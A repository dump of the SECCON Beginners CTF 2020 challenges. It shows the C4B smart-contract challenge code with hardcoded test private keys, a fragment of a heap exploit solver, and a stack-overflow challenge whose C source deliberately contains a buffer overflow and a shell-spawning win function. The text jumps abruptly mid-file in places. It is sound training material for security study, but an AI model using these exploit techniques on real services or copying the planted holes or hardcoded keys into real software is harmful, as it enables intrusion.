8 |
10 | Error
9 |
11 | {{ error_message }}
12 |
13 | ├── LICENSE ├── README.md ├── crypto ├── .gitkeep ├── c4b │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Dockerfile │ │ ├── app │ │ │ ├── app.go │ │ │ ├── contract │ │ │ │ └── challenge_manager.go │ │ │ ├── contract_manager.go │ │ │ └── server.go │ │ ├── contracts │ │ │ ├── C4B.sol │ │ │ └── ChallengeManager.sol │ │ ├── debug.env │ │ ├── docker-compose.yml │ │ ├── go.mod │ │ ├── go.sum │ │ ├── main.go │ │ └── web │ │ │ ├── index.html │ │ │ └── js │ │ │ └── app.js │ ├── solver │ │ ├── Dockerfile │ │ ├── SolveC4B.sol │ │ ├── contract │ │ │ └── solve_c4b.go │ │ ├── env │ │ ├── go.mod │ │ ├── go.sum │ │ └── solve.go │ └── writeup.md ├── encrypter │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ └── html │ │ │ ├── encrypt.php │ │ │ ├── index.html │ │ │ └── secret.php │ ├── solver │ │ ├── Dockerfile │ │ ├── requirements.txt │ │ └── solver.py │ └── writeup.md ├── noisy_equations │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── problem.py │ │ └── requirements.txt │ ├── files │ │ └── problem.py │ └── solver │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── requirements.txt │ │ └── solver.py ├── r_and_b │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Dockerfile │ │ ├── Makefile │ │ └── problem.py │ ├── files │ │ ├── encoded_flag │ │ └── problem.py │ └── solver │ │ ├── Dockerfile │ │ ├── Makefile │ │ └── solver.py └── rsacalc │ ├── FLAG │ ├── README.md │ ├── build │ ├── Dockerfile │ ├── docker-compose.yml │ ├── params.py │ └── server.py │ ├── files │ └── server.py │ ├── solver │ ├── Dockerfile │ └── solver.py │ └── writeup.md ├── misc ├── .gitkeep ├── emoemoencode │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── build.py │ │ └── problem.txt │ ├── files │ │ └── problem.txt │ └── writeup.md └── readme │ ├── Dockerfile │ ├── FLAG │ ├── build │ └── server.py │ ├── docker-compose.yml │ ├── files │ └── server.py │ └── solver │ ├── Dockerfile │ └── solve.py ├── pwn ├── .gitkeep ├── beginners_heap │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── chall │ │ ├── flag │ │ ├── init.sh │ │ ├── main.c │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── docker-compose.yml │ └── solver │ │ ├── Dockerfile │ │ ├── solve.py │ │ └── solve4docker.py ├── beginners_stack │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── init.sh │ │ ├── main.c │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── docker-compose.yml │ ├── files │ │ └── chall │ ├── solver │ │ ├── Dockerfile │ │ ├── solve.py │ │ └── solve4docker.py │ └── writeup.md ├── childheap │ ├── FLAG │ ├── README.md │ ├── build │ │ └── childheap.c │ ├── files │ │ └── childheap │ ├── solver │ │ ├── Dockerfile │ │ └── exploit.py │ └── writeup.md ├── elementary_stack │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── init.sh │ │ ├── main.c │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── docker-compose.yml │ ├── files │ │ ├── chall │ │ └── main.c │ ├── solver │ │ ├── Dockerfile │ │ ├── solve.py │ │ └── solve4docker.py │ └── writeup.md └── flip │ ├── FLAG │ ├── README.md │ ├── build │ └── flip.c │ ├── files │ └── flip │ ├── solver │ ├── Dockerfile │ └── exploit.py │ └── writeup.md ├── rev ├── .gitkeep ├── ghost │ ├── FLAG │ ├── README.md │ ├── build │ │ └── Makefile │ ├── files │ │ ├── chall.gs │ │ └── output.txt │ ├── solver │ │ └── solve.py │ └── writeup.md ├── mask │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ └── mask.c │ ├── files │ │ └── mask │ ├── solver │ │ └── solve.rb │ └── writeup.md ├── siblangs │ ├── FLAG │ ├── README.md │ ├── files │ │ └── challenge.apk │ └── writeup.md ├── sneaky │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── genhash.py │ │ └── main.c │ ├── files │ │ └── sneaky │ └── writeup.md └── yakisoba │ ├── FLAG │ ├── README.md │ ├── build │ ├── Makefile │ ├── gencode.py │ └── template.c │ ├── files │ └── yakisoba │ ├── solver │ └── solve.py │ └── writeup.md └── web ├── .gitkeep ├── profiler ├── .gitignore ├── FLAG ├── README.md ├── build │ ├── app │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── db.json │ │ ├── requirements.txt │ │ ├── static │ │ │ └── js │ │ │ │ ├── flag.js │ │ │ │ └── profile.js │ │ ├── templates │ │ │ ├── flag.html │ │ │ ├── index.html │ │ │ ├── layout.html │ │ │ └── profile.html │ │ └── uwsgi.ini │ ├── docker-compose.yml │ └── nginx │ │ └── nginx.conf ├── files │ └── .gitkeep ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── somen ├── FLAG ├── README.md ├── build │ ├── .gitignore │ ├── _env │ ├── docker-compose.yml │ ├── nginx │ │ ├── Dockerfile │ │ └── default.conf │ ├── php-fpm │ │ ├── Dockerfile │ │ └── www.conf │ ├── public │ │ ├── error.php │ │ ├── index.php │ │ └── security.js │ ├── publisher │ │ ├── Dockerfile │ │ ├── package-lock.json │ │ ├── package.json │ │ └── publisher.js │ ├── storage │ │ └── logs │ │ │ └── nginx │ │ │ └── .gitkeep │ └── worker │ │ ├── Dockerfile │ │ ├── dumb-init_1.2.0_amd64 │ │ ├── package-lock.json │ │ ├── package.json │ │ └── worker.js ├── files │ ├── index.php │ └── worker.js ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── spy ├── .gitignore ├── FLAG ├── README.md ├── build │ ├── app │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── auth.py │ │ ├── db.py │ │ ├── requirements.txt │ │ ├── templates │ │ │ ├── challenge.html │ │ │ ├── dashboard.html │ │ │ └── index.html │ │ └── uwsgi.ini │ ├── docker-compose.yml │ └── nginx │ │ └── nginx.conf ├── files │ ├── app.py │ └── employees.txt ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── tweetstore ├── FLAG ├── README.md ├── build │ ├── Makefile │ ├── db │ │ ├── Dockerfile │ │ └── init-db.sh │ ├── docker-compose.yml │ ├── log │ │ └── access_log │ └── webapp │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── go.sum │ │ ├── log │ │ └── access_log │ │ ├── templates │ │ └── index.html │ │ └── webserver.go ├── files │ └── webserver.go ├── solver │ ├── Dockerfile │ ├── Makefile │ └── src │ │ ├── go.mod │ │ ├── go.sum │ │ └── solver.go └── writeup.md └── unzip ├── FLAG ├── README.md ├── build ├── .gitignore ├── _env ├── docker-compose.yml ├── docker │ ├── nginx │ │ ├── Dockerfile │ │ └── conf │ │ │ ├── default.conf │ │ │ └── nginx.conf │ └── php-fpm │ │ ├── Dockerfile │ │ └── www.conf ├── flag.txt ├── public │ └── index.php └── storage │ └── logs │ ├── .gitignore │ └── nginx │ └── .gitkeep ├── files ├── .gitignore ├── docker-compose.yml └── index.php ├── solver ├── Dockerfile ├── malicious.zip ├── requirements.txt └── solver.py └── writeup.md /README.md: -------------------------------------------------------------------------------- 1 | # SECCON BeginnersCTF 2020 2 | ## Detail 3 | - Date: 2020/5/23 15:00 JST - 2020/5/24 15:00 JST 4 | - Style: Jeopardy 5 | 6 | ## Result 7 | (Top 10 team only) 8 | 9 | |Rank|Team|Points| 10 | |:-:|:-:|:-:| 11 | |1|Goburin'|5205| 12 | |2|katagaitai|5203| 13 | |3|KUDoS|5135| 14 | |4|うどんとぴざとねこ|4944| 15 | |5|nkj|4723| 16 | |6|superflip|4662| 17 | |7|noobs|4320| 18 | |8|Little Twoos|4252| 19 | |9|katsudon14|4248| 20 | |10|広田空|4233| 21 | 22 | ## License 23 | - [CC BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/deed) 24 | 25 | ## Posts 26 | - https://www.seccon.jp/2020/seccon_beginners/seccon_beginners_ctf_2020.html 27 | -------------------------------------------------------------------------------- /crypto/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/crypto/.gitkeep -------------------------------------------------------------------------------- /crypto/c4b/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{c4b_me4ns_c0ntract4beg1nn3rs} -------------------------------------------------------------------------------- /crypto/c4b/README.md: -------------------------------------------------------------------------------- 1 | C4B 2 | === 3 | 4 | ## 問題文 5 | Are you smart? 6 | 7 | [URL] 8 | 9 | ## 難易度 10 | Hard 11 | 12 | ## テスト用デプロイ 13 | 1. debug.env を .env にコピーする 14 | 2. docker-compose.ymlのganacheのコメントを外す 15 | * 必要があればappの待受ポート等も変更する 16 | 3. docker-composeで立ち上げる 17 | 4. 手元のMetaMaskの接続先を `[DockerのIP]:8545` にする 18 | 5. .envに書いてある `GANACHE_TESTACCOUNT` の秘密鍵をMetaMaskにインポートする 19 | 20 | 本番はRopstenテストネットワークを使う予定。 21 | -------------------------------------------------------------------------------- /crypto/c4b/build/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.14-alpine AS build 2 | 3 | WORKDIR /go/src/app 4 | COPY . . 5 | 6 | RUN apk --no-cache --update-cache add gcc libc-dev linux-headers \ 7 | && go build -o c4b . 8 | 9 | 10 | FROM alpine 11 | 12 | WORKDIR /go/src/app 13 | COPY . . 14 | COPY --from=build /go/src/app/c4b . 15 | 16 | CMD ["/go/src/app/c4b"] 17 | -------------------------------------------------------------------------------- /crypto/c4b/build/app/app.go: -------------------------------------------------------------------------------- 1 | package app 2 | 3 | import ( 4 | "io/ioutil" 5 | "log" 6 | "path" 7 | "strings" 8 | 9 | "github.com/go-redis/redis" 10 | ) 11 | 12 | const ( 13 | ChallengeManagerPath = "challenge_manager.txt" 14 | ) 15 | 16 | type app struct { 17 | config AppConfig 18 | Redis *redis.Client 19 | } 20 | 21 | type AppConfig struct { 22 | RPC_URL string 23 | PrivateKey string 24 | StateDir string 25 | FLAG string 26 | Listen string 27 | Redis string 28 | } 29 | 30 | func NewApp(config AppConfig) *app { 31 | return &app{ 32 | config: config, 33 | } 34 | } 35 | 36 | func (self *app) Start() error { 37 | log.Println("Redis Setup") 38 | 39 | self.Redis = redis.NewClient(&redis.Options{ 40 | Addr: self.config.Redis, 41 | }) 42 | _, err := self.Redis.Ping().Result() 43 | if err != nil { 44 | return err 45 | } 46 | 47 | log.Println("Connecting Ethereum API") 48 | manager, err := ConnectNetwork(self.config.RPC_URL, self.config.PrivateKey) 49 | if err != nil { 50 | return err 51 | } 52 | 53 | err = initContractIfNotExists(manager, self.config.StateDir) 54 | if err != nil { 55 | return err 56 | } 57 | 58 | err = handleChallengeDeployed(manager, self.Redis) 59 | if err != nil { 60 | return err 61 | } 62 | 63 | log.Println("Launching Server") 64 | server := NewServer(manager, self.config.FLAG, self.Redis) 65 | return server.Start(self.config.Listen) 66 | } 67 | 68 | func initContractIfNotExists(manager *contractManager, stateDir string) error { 69 | data, err := ioutil.ReadFile(path.Join(stateDir, ChallengeManagerPath)) 70 | if err == nil && len(data) > 10 { 71 | log.Printf("Load Contract at %s\n", string(data)) 72 | return manager.LoadContract(string(data)) 73 | } 74 | 75 | // File not found 76 | address, err := manager.InitContract() 77 | if err != nil { 78 | return err 79 | } 80 | ioutil.WriteFile(path.Join(stateDir, ChallengeManagerPath), []byte(address), 0644) 81 | 82 | return nil 83 | } 84 | 85 | func handleChallengeDeployed(manager *contractManager, rclient *redis.Client) error { 86 | evCh, subs, err := manager.WatchChallengeDeployed() 87 | if err != nil { 88 | return err 89 | } 90 | 91 | go func() { 92 | for { 93 | select { 94 | case event := <-evCh: 95 | log.Printf("New Challenge was deployed: %s\n", event.Challenge.String()) 96 | err := rclient.Set(strings.ToLower(event.Player.String()), event.Challenge.String(), 0).Err() 97 | if err != nil { 98 | log.Fatal(err) 99 | } 100 | case err := <-subs.Err(): 101 | log.Fatal(err) 102 | } 103 | } 104 | }() 105 | 106 | return nil 107 | } 108 | -------------------------------------------------------------------------------- /crypto/c4b/build/app/contract_manager.go: -------------------------------------------------------------------------------- 1 | package app 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "crypto/ecdsa" 7 | "errors" 8 | "log" 9 | "math/big" 10 | "time" 11 | 12 | "github.com/ethereum/go-ethereum/accounts/abi/bind" 13 | "github.com/ethereum/go-ethereum/common" 14 | "github.com/ethereum/go-ethereum/crypto" 15 | "github.com/ethereum/go-ethereum/ethclient" 16 | "github.com/ethereum/go-ethereum/event" 17 | "github.com/rekkusu/c4b/app/contract" 18 | ) 19 | 20 | type contractManager struct { 21 | client *ethclient.Client 22 | privKey *ecdsa.PrivateKey 23 | pubKey *ecdsa.PublicKey 24 | ChallengeManager *contract.ChallengeManager 25 | ChallengeManagerAddress common.Address 26 | } 27 | 28 | func ConnectNetwork(RPC_URL string, keyString string) (*contractManager, error) { 29 | client, err := ethclient.Dial(RPC_URL) 30 | if err != nil { 31 | return nil, err 32 | } 33 | 34 | privKey, err := crypto.HexToECDSA(keyString) 35 | if err != nil { 36 | return nil, err 37 | } 38 | 39 | pubKey := privKey.Public() 40 | pubKeyECDSA, ok := pubKey.(*ecdsa.PublicKey) 41 | if ok == false { 42 | return nil, errors.New("key error") 43 | } 44 | 45 | go func() { 46 | for { 47 | header, err := client.HeaderByNumber(context.Background(), nil) 48 | if err != nil { 49 | log.Fatal(err) 50 | } 51 | log.Printf("PING: Current block is %s\n", header.Number.String()) 52 | time.Sleep(1 * time.Hour) 53 | } 54 | }() 55 | 56 | return &contractManager{ 57 | client: client, 58 | pubKey: pubKeyECDSA, 59 | privKey: privKey, 60 | }, nil 61 | } 62 | 63 | func (self *contractManager) InitContract() (string, error) { 64 | fromAddress := crypto.PubkeyToAddress(*self.pubKey) 65 | 66 | nonce, err := self.client.PendingNonceAt(context.Background(), fromAddress) 67 | if err != nil { 68 | return "", err 69 | } 70 | 71 | gasPrice, err := self.client.SuggestGasPrice(context.Background()) 72 | if err != nil { 73 | return "", err 74 | } 75 | 76 | auth := bind.NewKeyedTransactor(self.privKey) 77 | auth.Nonce = big.NewInt(int64(nonce)) 78 | auth.Value = big.NewInt(0) 79 | auth.GasLimit = uint64(1000000) 80 | auth.GasPrice = gasPrice 81 | 82 | log.Println("Deploying ChallengeManager") 83 | address, tx, instance, err := contract.DeployChallengeManager(auth, self.client) 84 | if err != nil { 85 | return "", err 86 | } 87 | log.Printf("Deployed ChallengeManager at %s via %s\n", address.Hex(), tx.Hash().Hex()) 88 | 89 | self.ChallengeManager = instance 90 | self.ChallengeManagerAddress = address 91 | 92 | return address.Hex(), nil 93 | } 94 | 95 | func (self *contractManager) LoadContract(address string) error { 96 | contractAddr := common.HexToAddress(address) 97 | instance, err := contract.NewChallengeManager(contractAddr, self.client) 98 | if err != nil { 99 | return err 100 | } 101 | 102 | log.Printf("Loaded ChallengeManager at %s\n", contractAddr.Hex()) 103 | self.ChallengeManager = instance 104 | self.ChallengeManagerAddress = contractAddr 105 | return nil 106 | } 107 | 108 | func (self *contractManager) CheckC4B(player common.Address, challenge common.Address) error { 109 | instance, err := contract.NewC4B(challenge, self.client) 110 | if err != nil { 111 | log.Print(err) 112 | return errors.New("Unknown error") 113 | } 114 | 115 | p, err := instance.Player(nil) 116 | if err != nil { 117 | log.Print(err) 118 | return errors.New("Unknown error") 119 | } 120 | 121 | if !bytes.Equal(p.Bytes(), player.Bytes()) { 122 | return errors.New("this contract is not yours") 123 | } 124 | 125 | success, err := instance.Success(nil) 126 | if err != nil { 127 | log.Print(err) 128 | return errors.New("Unknown error") 129 | } 130 | 131 | if !success { 132 | return errors.New("this contract does not satisfy the condition") 133 | } 134 | 135 | return nil 136 | } 137 | 138 | func (self *contractManager) WatchChallengeDeployed() (<-chan *contract.ChallengeManagerChallengeDeployed, event.Subscription, error) { 139 | ch := make(chan *contract.ChallengeManagerChallengeDeployed) 140 | subs, err := self.ChallengeManager.WatchChallengeDeployed(&bind.WatchOpts{}, ch, nil) 141 | if err != nil { 142 | return nil, nil, err 143 | } 144 | 145 | return ch, subs, nil 146 | } 147 | -------------------------------------------------------------------------------- /crypto/c4b/build/app/server.go: -------------------------------------------------------------------------------- 1 | package app 2 | 3 | import ( 4 | "encoding/json" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "path" 9 | "strings" 10 | 11 | "github.com/ethereum/go-ethereum/accounts" 12 | "github.com/ethereum/go-ethereum/common" 13 | "github.com/ethereum/go-ethereum/crypto" 14 | "github.com/go-redis/redis" 15 | "github.com/rekkusu/c4b/app/contract" 16 | ) 17 | 18 | type webServer struct { 19 | mux *http.ServeMux 20 | manager *contractManager 21 | flag string 22 | redis *redis.Client 23 | } 24 | 25 | func NewServer(contractManager *contractManager, flag string, rclient *redis.Client) *webServer { 26 | server := &webServer{ 27 | mux: http.NewServeMux(), 28 | manager: contractManager, 29 | flag: flag, 30 | redis: rclient, 31 | } 32 | 33 | server.mux.HandleFunc("/", server.HandleIndex) 34 | server.mux.HandleFunc("/problem", server.HandleProblem) 35 | server.mux.HandleFunc("/get_challenge", server.HandleGetChallenge) 36 | server.mux.HandleFunc("/submit", server.HandleSubmit) 37 | 38 | return server 39 | } 40 | 41 | func (self *webServer) Start(listen string) error { 42 | return http.ListenAndServe(listen, self.mux) 43 | } 44 | 45 | func (self *webServer) HandleSubmit(w http.ResponseWriter, r *http.Request) { 46 | if r.Method != http.MethodPost { 47 | w.WriteHeader(http.StatusMethodNotAllowed) 48 | return 49 | } 50 | 51 | var data struct { 52 | Signature string `json:"signature"` 53 | Address string `json:"address"` 54 | } 55 | 56 | if err := json.NewDecoder(r.Body).Decode(&data); err != nil { 57 | w.WriteHeader(http.StatusBadRequest) 58 | log.Println(err) 59 | return 60 | } 61 | 62 | hash := accounts.TextHash([]byte("Did you enjoy this challenge?\n" + data.Address)) 63 | sigBytes := common.FromHex(data.Signature) 64 | if sigBytes[len(sigBytes)-1] >= 27 { 65 | sigBytes[len(sigBytes)-1] = sigBytes[len(sigBytes)-1] - 27 66 | } 67 | pubkey, err := crypto.SigToPub(hash, sigBytes) 68 | if err != nil { 69 | w.WriteHeader(http.StatusBadRequest) 70 | log.Println(err) 71 | return 72 | } 73 | 74 | player := crypto.PubkeyToAddress(*pubkey) 75 | challengeAddr, err := self.redis.Get(strings.ToLower(player.String())).Result() 76 | if err == redis.Nil { 77 | w.WriteHeader(http.StatusNotFound) 78 | return 79 | } else if err != nil { 80 | w.WriteHeader(http.StatusInternalServerError) 81 | log.Print(err) 82 | return 83 | } 84 | 85 | err = self.manager.CheckC4B(player, common.HexToAddress(challengeAddr)) 86 | if err != nil { 87 | w.WriteHeader(http.StatusInternalServerError) 88 | json.NewEncoder(w).Encode(map[string]interface{}{ 89 | "error": err.Error(), 90 | }) 91 | return 92 | } 93 | 94 | w.WriteHeader(http.StatusOK) 95 | json.NewEncoder(w).Encode(map[string]interface{}{ 96 | "flag": self.flag, 97 | }) 98 | } 99 | 100 | func (self *webServer) HandleGetChallenge(w http.ResponseWriter, r *http.Request) { 101 | if r.Method != http.MethodPost { 102 | w.WriteHeader(http.StatusMethodNotAllowed) 103 | return 104 | } 105 | 106 | var data struct { 107 | Player string `json:"player"` 108 | } 109 | if err := json.NewDecoder(r.Body).Decode(&data); err != nil { 110 | w.WriteHeader(http.StatusBadRequest) 111 | return 112 | } 113 | 114 | challenge, err := self.redis.Get(strings.ToLower(data.Player)).Result() 115 | if err == redis.Nil { 116 | w.WriteHeader(http.StatusNotFound) 117 | } else if err == nil { 118 | w.WriteHeader(http.StatusOK) 119 | } else { 120 | w.WriteHeader(http.StatusInternalServerError) 121 | log.Print(err) 122 | return 123 | } 124 | 125 | json.NewEncoder(w).Encode(map[string]interface{}{ 126 | "challenge": challenge, 127 | }) 128 | } 129 | 130 | func (self *webServer) HandleProblem(w http.ResponseWriter, r *http.Request) { 131 | data, err := ioutil.ReadFile("contracts/C4B.sol") 132 | if err != nil { 133 | w.WriteHeader(http.StatusInternalServerError) 134 | return 135 | } 136 | 137 | problem := make(map[string]interface{}) 138 | problem["deploy_address"] = self.manager.ChallengeManagerAddress.Hex() 139 | problem["contract_source"] = string(data) 140 | problem["abi"] = map[string]interface{}{ 141 | "manager": contract.ChallengeManagerABI, 142 | "challenge": contract.C4BABI, 143 | } 144 | 145 | resp, err := json.Marshal(problem) 146 | if err != nil { 147 | w.WriteHeader(http.StatusInternalServerError) 148 | return 149 | } 150 | 151 | w.Header().Add("Content-Type", "application/json") 152 | w.Write(resp) 153 | } 154 | 155 | func (self *webServer) HandleIndex(w http.ResponseWriter, r *http.Request) { 156 | if r.Method == http.MethodGet { 157 | file := path.Join("web", r.URL.Path) 158 | http.ServeFile(w, r, file) 159 | } else { 160 | w.WriteHeader(http.StatusMethodNotAllowed) 161 | return 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /crypto/c4b/build/contracts/C4B.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >= 0.5.0 < 0.7.0; 2 | 3 | contract C4B { 4 | 5 | address public player; 6 | bytes8 password; 7 | bool public success; 8 | 9 | event CheckPassed(address indexed player); 10 | 11 | constructor(address _player, bytes8 _password) public { 12 | player = _player; 13 | password = _password; 14 | success = false; 15 | } 16 | 17 | function check(bytes8 _password, uint256 pin) public returns(bool) { 18 | uint256 hash = uint256(blockhash(block.number - 1)); 19 | if (hash%1000000 == pin) { 20 | if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) { 21 | success = true; 22 | } 23 | } 24 | emit CheckPassed(player); 25 | return success; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /crypto/c4b/build/contracts/ChallengeManager.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >= 0.5.0 < 0.7.0; 2 | 3 | import "./C4B.sol"; 4 | 5 | contract ChallengeManager { 6 | 7 | event ChallengeDeployed(address indexed player, address challenge); 8 | 9 | function deploy(address player) public { 10 | bytes memory base = abi.encodePacked(blockhash(block.number - 1)); 11 | bytes8 password = bytes8(keccak256(base)); 12 | C4B chal = new C4B(player, password); 13 | emit ChallengeDeployed(player, address(chal)); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /crypto/c4b/build/debug.env: -------------------------------------------------------------------------------- 1 | C4B_RPCURL=http://ganache:8545 2 | C4B_PRIVKEY=f4d97c726010bfdd0160776ac425b73e257dbc763e0a7bcb26dbfcfdeb3d3f02 3 | C4B_LISTEN=0.0.0.0:8000 4 | C4B_FLAG=ctf4b{c4b_me4ns_c0ntract4beg1nn3rs} 5 | C4B_REDIS=redis:6379 6 | 7 | # address: 0xAac3927bdf53644B2551E951334788d5999C5b6c 8 | GANACHE_TESTACCOUNT=290eb598493372a291378bdf19513868bb53042be94427edf9b1444c7cd7c0d2 9 | -------------------------------------------------------------------------------- /crypto/c4b/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | app: 4 | build: . 5 | restart: always 6 | ports: 7 | - 80:8000 8 | env_file: .env 9 | redis: 10 | image: redis:6.0-alpine 11 | #ganache: 12 | # image: trufflesuite/ganache-cli:v6.9.1 13 | # command: ["--account=0x${C4B_PRIVKEY},10000000000000000000", "--account=0x${GANACHE_TESTACCOUNT},10000000000000000000"] 14 | # env_file: .env 15 | # ports: 16 | # - 8545:8545 17 | -------------------------------------------------------------------------------- /crypto/c4b/build/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/rekkusu/c4b 2 | 3 | go 1.14 4 | 5 | require ( 6 | github.com/ethereum/go-ethereum v1.9.13 7 | github.com/go-redis/redis v6.15.7+incompatible 8 | github.com/go-redis/redis/v7 v7.2.0 // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /crypto/c4b/build/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "os" 6 | 7 | "github.com/rekkusu/c4b/app" 8 | ) 9 | 10 | //go:generate abigen --sol contracts/ChallengeManager.sol --pkg contract --out app/contract/challenge_manager.go 11 | 12 | func main() { 13 | rpcurl, ok := os.LookupEnv("C4B_RPCURL") 14 | if !ok { 15 | rpcurl = "ws://localhost:7545" 16 | } 17 | 18 | redis, ok := os.LookupEnv("C4B_REDIS") 19 | if !ok { 20 | redis = "localhost:6379" 21 | } 22 | 23 | privkey, ok := os.LookupEnv("C4B_PRIVKEY") 24 | if !ok { 25 | privkey = "d00a997dc8924c035deeb2202675c4c26e3a7adcc662bf809389dcbe189b4f30" 26 | } 27 | 28 | flag, ok := os.LookupEnv("C4B_FLAG") 29 | if !ok { 30 | flag = "FLAG{sample}" 31 | } 32 | 33 | listen, ok := os.LookupEnv("C4B_LISTEN") 34 | if !ok { 35 | listen = "127.0.0.1:8000" 36 | } 37 | 38 | app := app.NewApp(app.AppConfig{ 39 | RPC_URL: rpcurl, 40 | Redis: redis, 41 | PrivateKey: privkey, 42 | FLAG: flag, 43 | Listen: listen, 44 | }) 45 | log.Fatal(app.Start()) 46 | } 47 | -------------------------------------------------------------------------------- /crypto/c4b/build/web/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 | 7 |success => true
){{ source }}
49 | ") 31 | s.send(b'2\n') 32 | time.sleep(0.1) 33 | s.send(b'hoge\n') 34 | recvuntil(b"> ") 35 | s.send(b'3\n') 36 | recvuntil(b"> ") 37 | s.send(b'1\n') 38 | time.sleep(0.1) 39 | s.send(payload) 40 | 41 | recvuntil(b"> ") 42 | s.send(b'2\n') 43 | time.sleep(0.1) 44 | s.send(b'hoge\n') 45 | recvuntil(b"> ") 46 | s.send(b'3\n') 47 | 48 | recvuntil(b"> ") 49 | s.send(b'2\n') 50 | time.sleep(0.1) 51 | s.send(struct.pack('") 54 | s.send(b'6\n') 55 | 56 | recvuntil(b"> ") 57 | s.send(b'3\n') 58 | 59 | recvuntil(b"Congratulations!\n") 60 | 61 | print(s.recv(4096)) 62 | 63 | s.close() 64 | 65 | -------------------------------------------------------------------------------- /pwn/beginners_stack/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/redir.sh 12 | RUN chmod 550 /home/pwn/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/pwn/flag.txt 17 | ADD files/chall /home/pwn/chall 18 | RUN chmod 440 /home/pwn/flag.txt 19 | RUN chmod 550 /home/pwn/chall 20 | 21 | RUN chown -R root:pwn /home/pwn 22 | 23 | RUN ls /home/pwn -lh 24 | 25 | RUN service xinetd restart 26 | -------------------------------------------------------------------------------- /pwn/beginners_stack/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada} -------------------------------------------------------------------------------- /pwn/beginners_stack/README.md: -------------------------------------------------------------------------------- 1 | # Beginner's Stack 2 | Author: ptr-yudai 3 | 4 | ## 問題文 5 | `nc {host} {port}` 6 | 7 | ## 難易度 8 | Beginner 9 | 10 | ## 概要 11 | 初心者なら必ず解けるpwn問。 12 | 単純なスタックオーバーフローがあり、シェルを呼び出す関数`win`が与えられている。 13 | リターンアドレスを書き換えて単に`win`を呼べば良いが、libc-2.27はRSPがalignされていないとmovupsで落ちるので、ret gadgetを1つ挟むか`win`のpushを飛ばす。 14 | 15 | 超初心者向けということで、スタックの様子を可視化した。また、`win`が呼ばれた際にRSPがalignされていないとエラーメッセージを表示するようにした。 16 | -------------------------------------------------------------------------------- /pwn/beginners_stack/build/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wl,-z,lazy,-z,relro main.c -o chall -no-pie -fno-stack-protector 3 | mv chall ../files/chall 4 | -------------------------------------------------------------------------------- /pwn/beginners_stack/build/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwn/beginners_stack/build/main.c: -------------------------------------------------------------------------------- 1 | #include2 | #include 3 | #include 4 | #define BUFFER_SIZE 0x20 5 | #define READ_SIZE 0x200 6 | 7 | void win(void); 8 | void __show_stack(void*); 9 | 10 | /*----- Read from here -----*/ 11 | void vuln(void) { 12 | char buf[BUFFER_SIZE]; 13 | __show_stack(buf); 14 | printf("Input: "); 15 | read(0, buf, READ_SIZE); // vulnerable! 16 | __show_stack(buf); 17 | } 18 | 19 | int main(void) { 20 | setbuf(stdin, NULL); 21 | setbuf(stdout, NULL); 22 | setbuf(stderr, NULL); 23 | printf("Your goal is to call `win` function (located at %p)\n", &win); 24 | vuln(); 25 | puts("Bye!"); 26 | return 0; 27 | } 28 | /*-------- to here ---------*/ 29 | 30 | void win(void) { 31 | unsigned long rsp; 32 | asm volatile ("movq %%rsp, %0": "=r"(rsp)); 33 | if (rsp % 0x10 != 0) { 34 | puts("Oops! RSP is misaligned!"); 35 | puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later."); 